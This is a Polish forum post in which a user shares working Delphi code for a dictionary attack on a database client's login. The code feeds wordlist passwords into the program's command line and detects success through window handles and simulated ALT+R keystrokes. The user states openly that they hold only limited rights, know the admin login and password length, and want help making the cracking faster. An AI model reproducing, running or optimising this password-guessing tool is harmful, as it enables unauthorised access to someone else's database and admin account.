"Szukacz - zgadywacz" haseł

omenserv

Użytkownik
Dołączył
Maj 8, 2005
Posty
1
Witajcie Koledzy!

Potrzebuje wsparcia lub innego pomysłu na przyśpieszenie działania już działającego programu do złamania hasła. Mam coś takiego (nie ukrywam w dlephi jestem raczkujący do tej pory na TP7 działałem więc ponizszy kod to jest zlepka turtków ale ważne że już działa)
unit MainFrm;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TMainForm = class(TForm)
btnReset: TButton;
memFile: TMemo;
btnSave: TButton;
haslo: TMemo;
procedure btnResetClick(Sender: TObject);
procedure btnSaveClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
MainForm: TMainForm;

implementation

{$R *.dfm}

procedure TMainForm.btnResetClick(Sender: TObject);
var
Proces: Integer;
i: Integer;
ss: string;
TF : TextFile;
S : String; // zmienna tymczasowa
wnd: HWND;
SI:TStartupInfo;
PI:TProcessInformation;
begin

AssignFile(TF, 'C:\1.txt');
try
Reset(TF);
{ pętla odczytuje kolejne linie pliku tekstowego }
while not Eof(TF) do
begin
Readln(TF, S); // odczytanie linii i przypisanie zawartosci do zmiennej S
memFile.Lines.Add(S);

begin
FillChar(SI,sizeof(SI),0);
with SI do
begin
dwFlags:=STARTF_USESHOWWINDOW;
wShowWindow:=SW_SHOW;
cb:=sizeof(TStartupInfo);
end;
CreateProcess(nil,PChar('ścieżka i nazwa programu "UID=login;PWD='+S+';"'),
nil,nil,FALSE,NORMAL_PRIORITY_CLASS,nil,nil,SI,PI);

sleep(900);

wnd := FindWindow('Nazwa okna', nil);

if wnd <> 0 then
begin
keybd_event(VK_MENU, MapVirtualKey(VK_MENU, 0), 0, 0);
keybd_event(Ord('R'), MapVirtualKey(Ord('R'), 0), 0, 0);
keybd_event(Ord('R'), MapVirtualKey(Ord('R'), 0), KEYEVENTF_KEYUP, 0);
keybd_event(VK_MENU, MapVirtualKey(VK_MENU, 0), KEYEVENTF_KEYUP, 0);

end;
sleep(900);
wnd := FindWindow('Nazwa okna', nil);
if wnd <> 0 then
begin

sendMessage(wnd, WM_QUIT,0,0);
CreateProcess(nil,PChar('ścieżka i nazwa programu "UID=login;PWD='+S+';"'),
nil,nil,FALSE,NORMAL_PRIORITY_CLASS,nil,nil,SI,PI);

sleep(5000);
keybd_event(VK_MENU, MapVirtualKey(VK_MENU, 0), 0, 0);
keybd_event(Ord('R'), MapVirtualKey(Ord('R'), 0), 0, 0);
keybd_event(Ord('R'), MapVirtualKey(Ord('R'), 0), KEYEVENTF_KEYUP, 0);
keybd_event(VK_MENU, MapVirtualKey(VK_MENU, 0), KEYEVENTF_KEYUP, 0);
sleep(5000);

wnd := FindWindow('Nazwa okna', nil);

if wnd <> 0 then
begin
haslo.Lines.Add(S);
haslo.Lines.Add('ok');
while not Eof(TF) do
begin
Readln(TF, S);
end;
end;

SendMessage(wnd, WM_QUIT,0,0);
end;

end;


end;


finally
CloseFile(TF);
end;
end;



end.

Potrzebuje złamać hasło dostępu do pewnego programu opartego na zazadzie serwera bazy danych.
Powyższy kod obsługuje program za pomocą którego można oczytać baze. Niestety posiadam prawa tylko ograniczone natomiast znam login adnina i długość jego hasła.
Powyższy kod otwiera plik słownika podstawia parametr pod hasło i tak w kółko zgaduje za pomocą uchwytu programu i tych kombunacji typu ALT+R sprawdza czy się da zamknąć program jażeli tak to znaczy że hasło jest błędne. Traci na tym zbyt dużo czasu a opóźnienia są duże sleep (900) aby spokojnie się klient uruchomił bez tych opóźnien otwiera 100 progaramów w ciągu 5 sek i lipa komp sie zwiesza bo brak pamięci daltego też to opóźnienie i w razie czogo jescze jedno sprawdzenie czy aby się program zdążył uruchomić.
Pytanie takie czy może na tych uchwytach nie dało by się rady raz otworzyć program i wysyłać hasła i loginu poprzez wysyłanie komunikatów - tylko powstałby inny problem jak sprawdzić później czy hasło było prawidłowe przy założeniu że class (uchwyt) się nie zmienia tylko przy prawidłowym haśle Tlabel jest znacznie dłuższe.
Jest ktoś mi w stanie doradzić coś więcej? jak co to również mile widziany prv [email protected]
 
Do góry Bottom